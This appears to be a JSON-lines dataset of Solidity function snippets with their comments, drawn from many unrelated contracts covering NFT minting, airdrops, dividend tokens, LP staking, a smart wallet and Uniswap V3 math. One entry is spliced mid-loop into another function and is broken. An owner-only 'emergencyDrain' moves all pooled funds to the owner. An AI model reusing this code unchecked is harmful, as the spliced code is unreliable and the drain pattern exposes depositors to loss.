"0.8.0"} {"comment": "/**\r\n * @dev Mints a zombie. Only the Graveyard contract can call this function.\r\n */", "function_code": "function mintZombie(address _account, string memory _hash) public {\r\n require(msg.sender == graveyardAddress);\r\n\r\n // In the Graveyard contract, the Katz head stored in the hash in position 1 \r\n // while the character in the ZombieKatz contract is stored in position 8 \r\n // so we swap the traits. \r\n\r\n // We let the graveyard contract to mint whatever is the total supply, just in case \r\n // to avoid a situation of zombies stucked in a grave, since you need to claim your zombie\r\n // before unstake a grave digging zombie. \r\n \r\n mintInternal(_account, \r\n string(\r\n abi.encodePacked(\r\n \"0\", // not burnt\r\n ZombieCatsLibrary.substring(_hash, 8, 9), // grave \r\n ZombieCatsLibrary.substring(_hash, 2, 8), // rest\r\n ZombieCatsLibrary.substring(_hash, 1, 2) // hand\r\n )\r\n )\r\n ); \r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Mutates a zombie.\r\n * @param _tokenId The token to burn.\r\n */", "function_code": "function mutateZombie(uint256 _tokenId) public ownerOfZombieKat(_tokenId) noCheaters {\r\n // require(ownerOf(_tokenId) == msg.sender\r\n // //, \"You must own this zombie to mutate\"\r\n // );\r\n\r\n IMiece(mieceAddress).burnFrom(msg.sender, 30 ether);\r\n\r\n tokenIdToHash[_tokenId] = mutatedHash(_tokenIdToHash(_tokenId), _tokenId, msg.sender, 0); \r\n \r\n hashToMinted[tokenIdToHash[_tokenId]] = true;\r\n\r\n }", "version": "0.8.0"} {"comment": "/// @dev Constructor: takes list of parties and their slices.\n/// @param addresses List of addresses of the parties\n/// @param slices Slices of the parties. Will be added to totalSlices.", "function_code": "function PaymentSplitter(address[] addresses, uint[] slices) public {\r\n require(addresses.length == slices.length, \"addresses and slices must be equal length.\");\r\n require(addresses.length > 0 && addresses.length < MAX_PARTIES, \"Amount of parties is either too many, or zero.\");\r\n\r\n for(uint i=0; i= airDropAmount;\r\n bool validPeriod = now >= startTime && now <= endTime;\r\n return validNotStop && validAmount && validPeriod;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Do the airDrop to msg.sender\r\n */", "function_code": "function receiveAirDrop() public {\r\n require(isValidAirDropForIndividual());\r\n\r\n // set invalidAirDrop of msg.sender to true\r\n invalidAirDrop[msg.sender] = true;\r\n\r\n // set msg.sender to the array of the airDropReceiver\r\n arrayAirDropReceivers.push(msg.sender);\r\n\r\n // execute transfer\r\n erc20.transfer(msg.sender, airDropAmount);\r\n\r\n emit LogAirDrop(msg.sender, airDropAmount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Update the information regarding to period and amount.\r\n * @param _startTime The start time this airdrop starts.\r\n * @param _endTime The end time this sirdrop ends.\r\n * @param _airDropAmount The airDrop Amount that user can get via airdrop.\r\n */", "function_code": "function updateInfo(uint256 _startTime, uint256 _endTime, uint256 _airDropAmount) public onlyOwner {\r\n require(stop || now > endTime);\r\n require(\r\n _startTime >= now &&\r\n _endTime >= _startTime &&\r\n _airDropAmount > 0\r\n );\r\n\r\n startTime = _startTime;\r\n endTime = _endTime;\r\n uint tokenDecimals = erc20.decimals();\r\n airDropAmount = _airDropAmount.mul(10 ** tokenDecimals);\r\n\r\n emit LogInfoUpdate(startTime, endTime, airDropAmount);\r\n }", "version": "0.4.24"} {"comment": "// needs div /10", "function_code": "function getDigitWidth(uint256 tokenId) public pure returns (uint16) {\r\n require(tokenId >= 0 && tokenId <= 9, \"Token Id invalid\");\r\n\r\n if (tokenId == 0)\r\n return 2863;\r\n \r\n if (tokenId == 1)\r\n return 1944;\r\n \r\n if (tokenId == 2)\r\n return 2491;\r\n \r\n if (tokenId == 3)\r\n return 2503;\r\n \r\n if (tokenId == 4)\r\n return 2842;\r\n \r\n if (tokenId == 5)\r\n return 2502;\r\n \r\n if (tokenId == 6)\r\n return 2667;\r\n \r\n if (tokenId == 7)\r\n return 2638;\r\n \r\n if (tokenId == 8)\r\n return 2591;\r\n \r\n if (tokenId == 9)\r\n return 2661;\r\n \r\n return 0;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Return the ethereum received on selling 1 individual token.\r\n * We are not deducting the penalty over here as it's a general sell price\r\n * the user can use the `calculateEthereumReceived` to get the sell price specific to them\r\n */", "function_code": "function sellPrice() public view returns (uint256) {\r\n if (tokenSupply_ == 0) {\r\n return tokenPriceInitial_ - tokenPriceIncremental_;\r\n } else {\r\n uint256 _ethereum = tokensToEthereum_(1e18);\r\n uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);\r\n uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);\r\n return _taxedEthereum;\r\n }\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Return the ethereum required for buying 1 individual token.\r\n */", "function_code": "function buyPrice() public view returns (uint256) {\r\n if (tokenSupply_ == 0) {\r\n return tokenPriceInitial_ + tokenPriceIncremental_;\r\n } else {\r\n uint256 _ethereum = tokensToEthereum_(1e18);\r\n uint256 _taxedEthereum =\r\n mulDiv(_ethereum, dividendFee_, (dividendFee_ - 1));\r\n return _taxedEthereum;\r\n }\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Calculate the early exit penalty for selling x tokens\r\n */", "function_code": "function calculateAveragePenalty(\r\n uint256 _amountOfTokens,\r\n address _customerAddress\r\n ) public view onlyBagholders() returns (uint256) {\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n uint256 tokensFound = 0;\r\n Cursor storage _customerCursor =\r\n tokenTimestampedBalanceCursor[_customerAddress];\r\n uint256 counter = _customerCursor.start;\r\n uint256 averagePenalty = 0;\r\n\r\n while (counter <= _customerCursor.end) {\r\n TimestampedBalance storage transaction =\r\n tokenTimestampedBalanceLedger_[_customerAddress][counter];\r\n uint256 tokensAvailable =\r\n SafeMath.sub(transaction.value, transaction.valueSold);\r\n\r\n uint256 tokensRequired = SafeMath.sub(_amountOfTokens, tokensFound);\r\n\r\n if (tokensAvailable < tokensRequired) {\r\n tokensFound += tokensAvailable;\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensAvailable\r\n )\r\n );\r\n } else if (tokensAvailable <= tokensRequired) {\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensRequired\r\n )\r\n );\r\n break;\r\n } else {\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensRequired\r\n )\r\n );\r\n break;\r\n }\r\n\r\n counter = SafeMath.add(counter, 1);\r\n }\r\n return SafeMath.div(averagePenalty, _amountOfTokens);\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Calculate the early exit penalty for selling after x days\r\n */", "function_code": "function _calculatePenalty(uint256 timestamp)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n uint256 gap = block.timestamp - timestamp;\r\n\r\n if (gap > 30 days) {\r\n return 0;\r\n } else if (gap > 20 days) {\r\n return 25;\r\n } else if (gap > 10 days) {\r\n return 50;\r\n }\r\n return 75;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Calculate Token price based on an amount of incoming ethereum\r\n * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.\r\n */", "function_code": "function ethereumToTokens_(uint256 _ethereum)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;\r\n uint256 _tokensReceived =\r\n ((\r\n SafeMath.sub(\r\n (\r\n sqrt(\r\n (_tokenPriceInitial**2) +\r\n (2 *\r\n (tokenPriceIncremental_ * 1e18) *\r\n (_ethereum * 1e18)) +\r\n (((tokenPriceIncremental_)**2) *\r\n (tokenSupply_**2)) +\r\n (2 *\r\n (tokenPriceIncremental_) *\r\n _tokenPriceInitial *\r\n tokenSupply_)\r\n )\r\n ),\r\n _tokenPriceInitial\r\n )\r\n ) / (tokenPriceIncremental_)) - (tokenSupply_);\r\n\r\n return _tokensReceived;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Calculate token sell value.\r\n * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.\r\n */", "function_code": "function tokensToEthereum_(uint256 _tokens) public view returns (uint256) {\r\n uint256 tokens_ = (_tokens + 1e18);\r\n uint256 _tokenSupply = (tokenSupply_ + 1e18);\r\n uint256 _ethereumReceived =\r\n (SafeMath.sub(\r\n (((tokenPriceInitial_ +\r\n (tokenPriceIncremental_ * (_tokenSupply / 1e18))) -\r\n tokenPriceIncremental_) * (tokens_ - 1e18)),\r\n (tokenPriceIncremental_ * ((tokens_**2 - tokens_) / 1e18)) / 2\r\n ) / 1e18);\r\n\r\n return _ethereumReceived;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Update ledger after transferring x tokens\r\n */", "function_code": "function _updateLedgerForTransfer(\r\n uint256 _amountOfTokens,\r\n address _customerAddress\r\n ) internal {\r\n // Parse through the list of transactions\r\n uint256 tokensFound = 0;\r\n Cursor storage _customerCursor =\r\n tokenTimestampedBalanceCursor[_customerAddress];\r\n uint256 counter = _customerCursor.start;\r\n\r\n while (counter <= _customerCursor.end) {\r\n TimestampedBalance storage transaction =\r\n tokenTimestampedBalanceLedger_[_customerAddress][counter];\r\n uint256 tokensAvailable =\r\n SafeMath.sub(transaction.value, transaction.valueSold);\r\n\r\n uint256 tokensRequired = SafeMath.sub(_amountOfTokens, tokensFound);\r\n\r\n if (tokensAvailable < tokensRequired) {\r\n tokensFound += tokensAvailable;\r\n\r\n delete tokenTimestampedBalanceLedger_[_customerAddress][\r\n counter\r\n ];\r\n } else if (tokensAvailable <= tokensRequired) {\r\n delete tokenTimestampedBalanceLedger_[_customerAddress][\r\n counter\r\n ];\r\n _customerCursor.start = counter + 1;\r\n break;\r\n } else {\r\n transaction.valueSold += tokensRequired;\r\n _customerCursor.start = counter;\r\n break;\r\n }\r\n counter += 1;\r\n }\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Calculate the early exit penalty for selling x tokens and edit the timestamped ledger\r\n */", "function_code": "function calculateAveragePenaltyAndUpdateLedger(\r\n uint256 _amountOfTokens,\r\n address _customerAddress\r\n ) internal onlyBagholders() returns (uint256) {\r\n // Parse through the list of transactions\r\n uint256 tokensFound = 0;\r\n Cursor storage _customerCursor =\r\n tokenTimestampedBalanceCursor[_customerAddress];\r\n uint256 counter = _customerCursor.start;\r\n uint256 averagePenalty = 0;\r\n\r\n while (counter <= _customerCursor.end) {\r\n TimestampedBalance storage transaction =\r\n tokenTimestampedBalanceLedger_[_customerAddress][counter];\r\n uint256 tokensAvailable =\r\n SafeMath.sub(transaction.value, transaction.valueSold);\r\n\r\n uint256 tokensRequired = SafeMath.sub(_amountOfTokens, tokensFound);\r\n\r\n if (tokensAvailable < tokensRequired) {\r\n tokensFound += tokensAvailable;\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensAvailable\r\n )\r\n );\r\n delete tokenTimestampedBalanceLedger_[_customerAddress][\r\n counter\r\n ];\r\n } else if (tokensAvailable <= tokensRequired) {\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensRequired\r\n )\r\n );\r\n delete tokenTimestampedBalanceLedger_[_customerAddress][\r\n counter\r\n ];\r\n _customerCursor.start = counter + 1;\r\n break;\r\n } else {\r\n averagePenalty = SafeMath.add(\r\n averagePenalty,\r\n SafeMath.mul(\r\n _calculatePenalty(transaction.timestamp),\r\n tokensRequired\r\n )\r\n );\r\n transaction.valueSold += tokensRequired;\r\n _customerCursor.start = counter;\r\n break;\r\n }\r\n\r\n counter += 1;\r\n }\r\n\r\n return SafeMath.div(averagePenalty, _amountOfTokens);\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * @dev calculates x*y and outputs a emulated 512bit number as l being the lower 256bit half and h the upper 256bit half.\r\n */", "function_code": "function fullMul(uint256 x, uint256 y)\r\n public\r\n pure\r\n returns (uint256 l, uint256 h)\r\n {\r\n uint256 mm = mulmod(x, y, uint256(-1));\r\n l = x * y;\r\n h = mm - l;\r\n if (mm < l) h -= 1;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * @dev calculates x*y/z taking care of phantom overflows.\r\n */", "function_code": "function mulDiv(\r\n uint256 x,\r\n uint256 y,\r\n uint256 z\r\n ) public pure returns (uint256) {\r\n (uint256 l, uint256 h) = fullMul(x, y);\r\n require(h < z);\r\n uint256 mm = mulmod(x, y, z);\r\n if (mm > l) h -= 1;\r\n l -= mm;\r\n uint256 pow2 = z & -z;\r\n z /= pow2;\r\n l /= pow2;\r\n l += h * ((-pow2) / pow2 + 1);\r\n uint256 r = 1;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n return l * r;\r\n }", "version": "0.5.15"} {"comment": "// Anyone can call this function and claim the reward", "function_code": "function invokeAutoReinvest(address _customerAddress)\r\n external\r\n returns (uint256)\r\n {\r\n AutoReinvestEntry storage entry = autoReinvestment[_customerAddress];\r\n\r\n if (\r\n entry.nextExecutionTime > 0 &&\r\n block.timestamp >= entry.nextExecutionTime\r\n ) {\r\n // fetch dividends\r\n uint256 _dividends = dividendsOf(_customerAddress);\r\n\r\n // Only execute if the user's dividends are more that the\r\n // rewardPerInvocation and the minimumDividendValue\r\n if (\r\n _dividends > entry.minimumDividendValue &&\r\n _dividends > entry.rewardPerInvocation\r\n ) {\r\n // Deduct the reward from the users dividends\r\n payoutsTo_[_customerAddress] += (int256)(\r\n entry.rewardPerInvocation * magnitude\r\n );\r\n\r\n // Update the Auto Reinvestment entry\r\n entry.nextExecutionTime +=\r\n (((block.timestamp - entry.nextExecutionTime) /\r\n uint256(entry.period)) + 1) *\r\n uint256(entry.period);\r\n\r\n /*\r\n * Do the reinvestment\r\n */\r\n _reinvest(_customerAddress);\r\n\r\n // Send the caller their reward\r\n msg.sender.transfer(entry.rewardPerInvocation);\r\n }\r\n }\r\n\r\n return entry.nextExecutionTime;\r\n }", "version": "0.5.15"} {"comment": "/**\r\n * Get the metadata for a given tokenId\r\n */", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n\r\n return bytes(baseURI).length > 0\r\n ? string(abi.encodePacked(baseURI, Strings.toString(tokenId + 1), \".json\")) //TESTING ONLY PLEASE REMOVE ON MAINNET FOR LOVE OF GOD\r\n : \"\";\r\n }", "version": "0.8.7"} {"comment": "// Deposit LP tokens to eBOND for EFI allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount, uint256 _lockPeriod) public {\r\n\r\n\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n\r\n uint256 _tokenMultiplier = 1;\r\n if (userMultiActive[msg.sender][_pid]) {\r\n _tokenMultiplier = tokenMultiplier[msg.sender][_pid].div(100); \r\n userMultiActive[msg.sender][_pid] = false;\r\n }\r\n\r\n if (user.amount > 0) {\r\n uint256 pending = _tokenMultiplier.mul(user.amount.mul(pool.accEFIPerShare).div(1e12).sub(user.rewardDebt));\r\n EFI.mint(msg.sender, pending);\r\n }\r\n\r\n if(block.timestamp >= user.unlockTime || (lockPeriodTime[_lockPeriod] + block.timestamp > user.unlockTime)){\r\n user.unlockTime = SafeMath.add(lockPeriodTime[_lockPeriod], block.timestamp);\r\n tokenMultiplier[msg.sender][_pid] = lockPeriodMultiplier[_lockPeriod];\r\n userMultiActive[msg.sender][_pid] = true;\r\n }\r\n\r\n \r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accEFIPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n\r\n\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from eBOND.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n \r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(block.timestamp >= user.unlockTime, \"Your Liquidity is locked.\");\r\n require(user.amount >= _amount, \"withdraw: inadequate funds\");\r\n uint256 multiplier = tokenMultiplier[msg.sender][_pid].div(100); \r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accEFIPerShare).mul(multiplier).div(1e12).sub(user.rewardDebt);\r\n safeEFITransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accEFIPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/* Magic */", "function_code": "function magicGift(address[] calldata receivers) external onlyOwner {\n require(\n _tokenIds.current() + receivers.length <= MAX_TOKENS,\n \"Exceeds maximum token supply\"\n );\n require(\n numberOfGifts + receivers.length <= MAX_GIFTS,\n \"Exceeds maximum allowed gifts\"\n );\n\n for (uint256 i = 0; i < receivers.length; i++) {\n numberOfGifts++;\n\n _safeMint(receivers[i], _tokenIds.current());\n _tokenIds.increment();\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n @dev Recovers address who signed the message \r\n @param _hash operation ethereum signed message hash\r\n @param _signature message `hash` signature \r\n */", "function_code": "function ecrecover2 (\r\n bytes32 _hash, \r\n bytes memory _signature\r\n ) internal pure returns (address) {\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n\r\n assembly {\r\n r := mload(add(_signature, 32))\r\n s := mload(add(_signature, 64))\r\n v := and(mload(add(_signature, 65)), 255)\r\n }\r\n\r\n if (v < 27) {\r\n v += 27;\r\n }\r\n\r\n return ecrecover(\r\n _hash,\r\n v,\r\n r,\r\n s\r\n );\r\n }", "version": "0.5.5"} {"comment": "// Cancels a not executed Intent '_id'\n// a canceled intent can't be executed", "function_code": "function cancel(bytes32 _id) external {\r\n require(msg.sender == address(this), \"Only wallet can cancel txs\");\r\n\r\n if (intentReceipt[_id] != bytes32(0)) {\r\n (bool canceled, , address relayer) = _decodeReceipt(intentReceipt[_id]);\r\n require(relayer == address(0), \"Intent already relayed\");\r\n require(!canceled, \"Intent was canceled\");\r\n revert(\"Unknown error\");\r\n }\r\n\r\n emit Canceled(_id);\r\n intentReceipt[_id] = _encodeReceipt(true, 0, address(0));\r\n }", "version": "0.5.5"} {"comment": "// Decodes an Intent receipt\n// reverse of _encodeReceipt(bool,uint256,address)", "function_code": "function _decodeReceipt(bytes32 _receipt) internal pure returns (\r\n bool _canceled,\r\n uint256 _block,\r\n address _relayer\r\n ) {\r\n assembly {\r\n _canceled := shr(255, _receipt)\r\n _block := and(shr(160, _receipt), 0x7fffffffffffffffffffffff)\r\n _relayer := and(_receipt, 0xffffffffffffffffffffffffffffffffffffffff)\r\n }\r\n }", "version": "0.5.5"} {"comment": "// Concatenates 6 bytes arrays", "function_code": "function concat(\r\n bytes memory _a,\r\n bytes memory _b,\r\n bytes memory _c,\r\n bytes memory _d,\r\n bytes memory _e,\r\n bytes memory _f\r\n ) internal pure returns (bytes memory) {\r\n return abi.encodePacked(\r\n _a,\r\n _b,\r\n _c,\r\n _d,\r\n _e,\r\n _f\r\n );\r\n }", "version": "0.5.5"} {"comment": "// Returns the most significant bit of a given uint256", "function_code": "function mostSignificantBit(uint256 x) internal pure returns (uint256) { \r\n uint8 o = 0;\r\n uint8 h = 255;\r\n \r\n while (h > o) {\r\n uint8 m = uint8 ((uint16 (o) + uint16 (h)) >> 1);\r\n uint256 t = x >> m;\r\n if (t == 0) h = m - 1;\r\n else if (t > 1) o = m + 1;\r\n else return m;\r\n }\r\n \r\n return h;\r\n }", "version": "0.5.5"} {"comment": "// Shrinks a given address to the minimal representation in a bytes array", "function_code": "function shrink(address _a) internal pure returns (bytes memory b) {\r\n uint256 abits = mostSignificantBit(uint256(_a)) + 1;\r\n uint256 abytes = abits / 8 + (abits % 8 == 0 ? 0 : 1);\r\n\r\n assembly {\r\n b := 0x0\r\n mstore(0x0, abytes)\r\n mstore(0x20, shl(mul(sub(32, abytes), 8), _a))\r\n }\r\n }", "version": "0.5.5"} {"comment": "// Deploys the Marmo wallet of a given _signer\n// all ETH sent will be forwarded to the wallet", "function_code": "function reveal(address _signer) external payable {\r\n // Load init code from storage\r\n bytes memory proxyCode = bytecode;\r\n\r\n // Create wallet proxy using CREATE2\r\n // use _signer as salt\r\n Marmo p;\r\n assembly {\r\n p := create2(0, add(proxyCode, 0x20), mload(proxyCode), _signer)\r\n }\r\n\r\n // Init wallet with provided _signer\r\n // and forward all Ether\r\n p.init.value(msg.value)(_signer);\r\n }", "version": "0.5.5"} {"comment": "// Standard Withdraw function for the owner to pull the contract", "function_code": "function withdraw() external onlyOwner {\r\n uint256 sendAmount = address(this).balance;\r\n \r\n address cmanager = payable(0x543874CeA651a5Dd4CDF88B2Ed9B92aF57b8507E);\r\n address founder = payable(0xF561266D093c73F67c7CAA2Ab74CC71a43554e57);\r\n address coo = payable(0xa4D4FeA9799cd5015955f248994D445C6bEB9436);\r\n address marketing = payable(0x17895988aB2B64f041813936bF46Fb9133a6B160);\r\n address dev = payable(0x2496286BDB820d40C402802F828ae265b244188A);\r\n address community = payable(0x855bFE65652868920729b9d92D8d6030D01e3bFF);\r\n \r\n bool success;\r\n (success, ) = cmanager.call{value: ((sendAmount * 35)/1000)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n (success, ) = founder.call{value: ((sendAmount * 175)/1000)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n (success, ) = coo.call{value: ((sendAmount * 5)/100)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n (success, ) = marketing.call{value: ((sendAmount * 5)/100)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n (success, ) = dev.call{value: ((sendAmount * 5)/100)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n (success, ) = community.call{value: ((sendAmount * 64)/100)}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n \r\n }", "version": "0.8.7"} {"comment": "/*\r\n function withdraw() external {\r\n require (approvedRecipients)\r\n sendAmount = whatever was calculated\r\n (bool success, ) = msg.sender.call{value: sendAmount}(\"\");\r\n require(success, \"Transaction Unsuccessful\");\r\n }\r\n */", "function_code": "function ownerMint(address _to, uint256 qty) external onlyOwner {\r\n require((numberMinted + qty) > numberMinted, \"Math overflow error\");\r\n require((numberMinted + qty) < totalTokens, \"Cannot fill order\");\r\n \r\n uint256 mintSeedValue = numberMinted; //Store the starting value of the mint batch\r\n if (reservedTokens >= qty) {\r\n reservedTokens -= qty;\r\n } else {\r\n reservedTokens = 0;\r\n }\r\n \r\n for(uint256 i = 0; i < qty; i++) {\r\n _safeMint(_to, mintSeedValue + i);\r\n numberMinted ++; //reservedTokens can be reset, numberMinted can not\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Emergency drain in case of a bug\n// Adds all funds to owner to refund people\n// Designed to be as simple as possible\n// function emergencyDrain24hAfterLiquidityGenerationEventIsDone() public onlyOwner {\n// require(contractStartTimestamp.add(4 days) < block.timestamp, \"Liquidity generation grace period still ongoing\"); // About 24h after liquidity generation happens \n// (bool success, ) = msg.sender.call.value(address(this).balance)(\"\");\n// require(success, \"Transfer failed.\");\n// _balances[msg.sender] = _balances[address(this)];\n// _balances[address(this)] = 0;\n// }", "function_code": "function emergencyDrain24hAfterLiquidityGenerationEventIsDone() public onlyOwner {\r\n require(contractStartTimestamp.add(6 days) < block.timestamp, \"Liquidity generation grace period still ongoing\"); // About 24h after liquidity generation happens \r\n // (bool success, ) = msg.sender.call.value(address(this).balance)(\"\");\r\n // require(success, \"Transfer failed.\");\r\n uint256 b = aapl.balanceOf(address(this));\r\n bool success = aapl.transfer(msg.sender,b);\r\n require(success, \"Transfer failed.\");\r\n _balances[msg.sender] = _balances[address(this)];\r\n _balances[address(this)] = 0;\r\n }", "version": "0.6.12"} {"comment": "//@dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.", "function_code": "function tokenURI(uint256 tokenId) external view returns (string memory){\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n \r\n string memory tokenuri;\r\n \r\n if (_hideTokens) {\r\n //redirect to mystery box\r\n tokenuri = string(abi.encodePacked(_baseURI, \"mystery.json\"));\r\n } else {\r\n //Input flag data here to send to reveal URI\r\n tokenuri = string(abi.encodePacked(_baseURI, toString(tokenId), \".json\")); /// 0.json 135.json\r\n }\r\n \r\n return tokenuri;\r\n }", "version": "0.8.7"} {"comment": "/// @notice Computes the amount of liquidity received for a given amount of token0 and price range\n/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))\n/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary\n/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary\n/// @param amount0 The amount0 being sent in\n/// @return liquidity The amount of returned liquidity", "function_code": "function getLiquidityForAmount0(\r\n uint160 sqrtRatioAX96,\r\n uint160 sqrtRatioBX96,\r\n uint256 amount0\r\n ) internal pure returns (uint128 liquidity) {\r\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\r\n uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);\r\n return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));\r\n }", "version": "0.7.6"} {"comment": "/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current\n/// pool prices and the prices at the tick boundaries\n/// @param sqrtRatioX96 A sqrt price representing the current pool prices\n/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary\n/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary\n/// @param amount0 The amount of token0 being sent in\n/// @param amount1 The amount of token1 being sent in\n/// @return liquidity The maximum amount of liquidity received", "function_code": "function getLiquidityForAmounts(\r\n uint160 sqrtRatioX96,\r\n uint160 sqrtRatioAX96,\r\n uint160 sqrtRatioBX96,\r\n uint256 amount0,\r\n uint256 amount1\r\n ) internal pure returns (uint128 liquidity) {\r\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\r\n\r\n if (sqrtRatioX96 <= sqrtRatioAX96) {\r\n liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);\r\n } else if (sqrtRatioX96 < sqrtRatioBX96) {\r\n uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);\r\n uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);\r\n\r\n liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;\r\n } else {\r\n liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// @notice Computes the amount of token1 for a given amount of liquidity and a price range\n/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary\n/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary\n/// @param liquidity The liquidity being valued\n/// @return amount1 The amount of token1", "function_code": "function getAmount1ForLiquidity(\r\n uint160 sqrtRatioAX96,\r\n uint160 sqrtRatioBX96,\r\n uint128 liquidity\r\n ) internal pure returns (uint256 amount1) {\r\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\r\n\r\n return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\r\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Setup mint\n * @param _mintStart Unix timestamp when minting should be opened\n * @param _mintEnd Unix timestamp when minting should be closed\n * @param _mintFee Minting fee\n * @param _mintLimit Limits how many tokens can be minted\n */", "function_code": "function setupMint(\n uint256 _mintStart,\n uint256 _mintEnd,\n uint256 _mintFee,\n uint256 _mintLimit\n ) external onlyOwner {\n require(_mintStart < _mintEnd, \"wrong mint end\");\n require(mintLimit == 0 || _mintLimit == mintLimit, \"change mint limit not allowed\");\n mintStart = _mintStart;\n mintEnd = _mintEnd;\n mintFee = _mintFee;\n mintLimit = _mintLimit;\n }", "version": "0.8.10"} {"comment": "/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.\n/// @param pool Uniswap V3 pool\n/// @param liquidity The liquidity being valued\n/// @param _tickLower The lower tick of the range\n/// @param _tickUpper The upper tick of the range\n/// @return amounts of token0 and token1 that corresponds to liquidity", "function_code": "function amountsForLiquidity(\r\n IUniswapV3Pool pool,\r\n uint128 liquidity,\r\n int24 _tickLower,\r\n int24 _tickUpper\r\n ) internal view returns (uint256, uint256) {\r\n //Get current price from the pool\r\n (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();\r\n return\r\n LiquidityAmounts.getAmountsForLiquidity(\r\n sqrtRatioX96,\r\n TickMath.getSqrtRatioAtTick(_tickLower),\r\n TickMath.getSqrtRatioAtTick(_tickUpper),\r\n liquidity\r\n );\r\n }", "version": "0.7.6"} {"comment": "/// @dev Wrapper around 